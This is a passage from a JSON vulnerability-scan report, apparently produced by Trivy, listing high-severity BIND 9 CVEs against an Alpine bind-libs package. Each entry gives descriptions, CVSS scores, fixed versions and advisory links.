"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", "https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-11721", "https://linux.oracle.com/cve/CVE-2026-11721.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11721", "https://ubuntu.com/security/notices/USN-8648-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-11721" ], "PublishedDate": "2026-07-22T15:16:51.837Z", "LastModifiedDate": "2026-11-02T17:40:42.15Z" }, { "VulnerabilityID": "CVE-2026-12617", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-12617", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:57bc2251055c07eabd66f6e083a6001bcb8112898f1cae875af22151b8917e86", "Title": "bind: bind9: Record ordering based unexpected exit with CNAME or DNAME", "Description": "The issue is unexpected program termination based on ordering and/or specific content in responses to queries for CNAME or DNAME, and A records. Specifically, if a client queries for a DNAME and A record below the DNAME to the resolver, and the authoritative server responds positively to the A query but delays the DNAME response and later responds negatively, `named` may quit unexpectedly. Or, if a client queries for a CNAME and A record for the same name to the resolver, and the authoritative server responds positively to the A query but delays the CNAME response and later responds with a self-referential CNAME, the same failure may occur.\nThis issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.24, 9.18.11-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "amazon": 3, "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-12617", "https://downloads.isc.org/isc/bind9/9.20.26", "https://kb.isc.org/docs/cve-2026-12617", "https://nvd.nist.gov/vuln/detail/CVE-2026-12617", "https://ubuntu.com/security/notices/USN-8648-1", "https://www.cve.org/CVERecord?id=CVE-2026-12617" ], "PublishedDate": "2026-07-22T15:16:51.963Z", "LastModifiedDate": "2026-11-02T16:28:17.337Z" }, { "VulnerabilityID": "CVE-2026-13204", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13204", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:0c5aaf0f6e809b4ac3a92bf45063a90b3372400828ca12b50d3f5c964db78fe1", "Title": "bind: bind9: Unexpected exit with NSEC and NSEC3 both present", "Description": "If a provably insecure domain is covered by both an NSEC and NSEC3 record at the parent, and there exist an RRSIG for only one of these types, then BIND may exit unexpectedly with an assertion while validating this proof.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-13204", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", "https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-13204", "https://linux.oracle.com/cve/CVE-2026-13204.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-13204", "https://ubuntu.com/security/notices/USN-8696-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-13204" ], "PublishedDate": "2026-07-22T15:16:52.08Z", "LastModifiedDate": "2026-11-02T17:49:56.387Z" }, { "VulnerabilityID": "CVE-2026-13321", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13321", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f1b067ff705118a085db3fa9a19d89a978d5affd2ca3944bb71488f514c951ea", "Title": "bind: bind9: DNSSEC Validation Bypass via Out-of-Zone NSEC Next Field", "Description": "The BIND resolver accepts validly-signed NSEC records where the \"Next Domain Name\" field points outside the signer's zone.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-346" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-13321", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", "https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-13321", "https://linux.oracle.com/cve/CVE-2026-13321.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-13321", "https://ubuntu.com/security/notices/USN-8648-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-13321" ], "PublishedDate": "2026-07-22T15:16:52.2Z", "LastModifiedDate": "2026-11-02T17:51:27.447Z" }, { "VulnerabilityID": "CVE-2026-19630", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.30-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-19630", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e2272298876743c26745c796344aaa03fc299f1826157ff192b5dec92f8240cf", "Title": "bind: BIND: Denial of Service via unbounded processing of crafted DNS messages", "Description": "In a BIND resolver, inbound DNS protocol messages with a particular structure will result in additional processing, with no limit imposed by BIND. A DNS message with a maliciously large number of such structures will cause BIND to consume disproportionate amounts of CPU time and memory during processing.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93610", "https://access.redhat.com/security/cve/CVE-2026-19630", "https://bugzilla.redhat.com/2556406", "https://bugzilla.redhat.com/2556407", "https://bugzilla.redhat.com/2556413", "https://bugzilla.redhat.com/2556415", "https://bugzilla.redhat.com/show_bug.cgi?id=2556406", "https://bugzilla.redhat.com/show_bug.cgi?id=2556407", "https://bugzilla.redhat.com/show_bug.cgi?id=2556413", "https://bugzilla.redhat.com/show_bug.cgi?id=2556415", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19630", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97313", "https://downloads.isc.org/isc/bind9/9.20.30", "https://downloads.isc.org/isc/bind9/9.21.27", "https://errata.almalinux.org/9/ALSA-2026-93610.html", "https://errata.rockylinux.org/RLSA-2026:93610", "https://kb.isc.org/docs/cve-2026-19630", "https://linux.oracle.com/cve/CVE-2026-19630.html", "https://linux.oracle.com/errata/ELSA-2026-94011.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-19630", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-19630" ], "PublishedDate": "2026-10-21T13:18:32.453Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-19666", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-19666", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:2fa3670258fab99e757a33b64256bfba8758254e90359e614acad5ca28caebf5", "Title": "bind: BIND: Denial of Service via malformed DNS64 responses", "Description": "On a resolver configured to use ``dns64``, if an applicable answer from the authoritative server is malformed in a specific way, the resolver `named` process will exit unexpectedly.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75767", "https://access.redhat.com/security/cve/CVE-2026-19666", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75767.html", "https://errata.rockylinux.org/RLSA-2026:75767", "https://kb.isc.org/docs/cve-2026-19666", "https://linux.oracle.com/cve/CVE-2026-19666.html", "https://linux.oracle.com/errata/ELSA-2026-79162.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-19666", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-19666" ], "PublishedDate": "2026-09-16T15:17:33.52Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-19667", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-19667", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:dba45b76bd6bd3e7507b8831cb054b8968d811a930885686ebb3e06f59346b2f", "Title": "bind9: bind: BIND 9: Denial of Service via 16-bit length truncation in DNS negative cache handling", "Description": "If an attacker-controlled authoritative server can produce a negative answer that is exactly 65536 bytes, then a flaw in `named` results in a negative cache entry of 0 bytes. When this entry is subsequently read, `named` aborts.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-197" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75767", "https://access.redhat.com/security/cve/CVE-2026-19667", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75767.html", "https://errata.rockylinux.org/RLSA-2026:75767", "https://kb.isc.org/docs/cve-2026-19667", "https://linux.oracle.com/cve/CVE-2026-19667.html", "https://linux.oracle.com/errata/ELSA-2026-79162.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-19667", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-19667" ], "PublishedDate": "2026-09-16T14:17:05.037Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-76163", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76163", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:ff15295b21b81e9a0e45bc6eafe6f2e39038a33664e8e40680fb3c82ae9e80fb", "Title": "bind: BIND: Denial of Service via TKEY query with specific configuration", "Description": "If BIND is loaded with a \"`named.conf`\" file that contains no global \"`options`\" block, an attacker can send a query of QTYPE TKEY which may cause an assertion failure and subsequent unexpected program exit.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76163", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://kb.isc.org/docs/cve-2026-76163", "https://nvd.nist.gov/vuln/detail/CVE-2026-76163", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-76163" ], "PublishedDate": "2026-09-16T15:17:43.847Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-77692", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-77692", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:2d13b333cb9d14235514ebcb80342867177acf94eae3895210721d09376eee0b", "Title": "bind: BIND: Remote Denial of Service via crafted DNS-over-HTTPS request", "Description": "An attacker can cause `named` to abort by sending a crafted DNS-over-HTTPS request with a cryptographically invalid SIG(0) record, and then closing the transport connection prematurely.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-77692", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://kb.isc.org/docs/cve-2026-77692", "https://nvd.nist.gov/vuln/detail/CVE-2026-77692", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-77692" ], "PublishedDate": "2026-09-16T14:17:09.647Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-80274", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80274", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:70187aeebaa2afaf545f83e408166709ff98f981f92e674fe483feaac2985e0a", "Title": "bind: BIND: Denial of Service via crafted DNSSEC reply", "Description": "If a BIND resolver sends a query for a DNSSEC-signed authoritative zone, and the authoritative server replies with a valid wildcard answer and signed NSEC3 proof, followed by an unsigned NSEC at the same owner name, it will trigger an unexpected program exit.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75767", "https://access.redhat.com/security/cve/CVE-2026-80274", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75767.html", "https://errata.rockylinux.org/RLSA-2026:75767", "https://kb.isc.org/docs/cve-2026-80274", "https://linux.oracle.com/cve/CVE-2026-80274.html", "https://linux.oracle.com/errata/ELSA-2026-79162.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80274", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-80274" ], "PublishedDate": "2026-09-16T15:17:52.69Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-81563", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81563", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:b8d53f016572b99f639d9dca9a178dfc2afaa6bdb96a0154928e5bf98bbbb702", "Title": "bind: BIND resolver: Denial of Service due to resource exhaustion in SVCB/HTTPS AliasMode processing", "Description": "A BIND resolver encountering an SVCB/HTTPS AliasMode record referencing 14 or more SVCB/HTTPS ServiceMode records may fail to properly deallocate internal resources. If this happens repeatedly, resource exhaustion will eventually prevent the resolver from performing new recursive lookups.\nThis issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.18.11-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-401" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75578", "https://access.redhat.com/security/cve/CVE-2026-81563", "https://bugzilla.redhat.com/2535432", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535461", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535432", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535461", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81736", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75578.html", "https://errata.rockylinux.org/RLSA-2026:75578", "https://kb.isc.org/docs/cve-2026-81563", "https://linux.oracle.com/cve/CVE-2026-81563.html", "https://linux.oracle.com/errata/ELSA-2026-75578.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81563", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-81563" ], "PublishedDate": "2026-09-16T14:17:10.543Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-81736", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81736", "DataSource": { "ID": 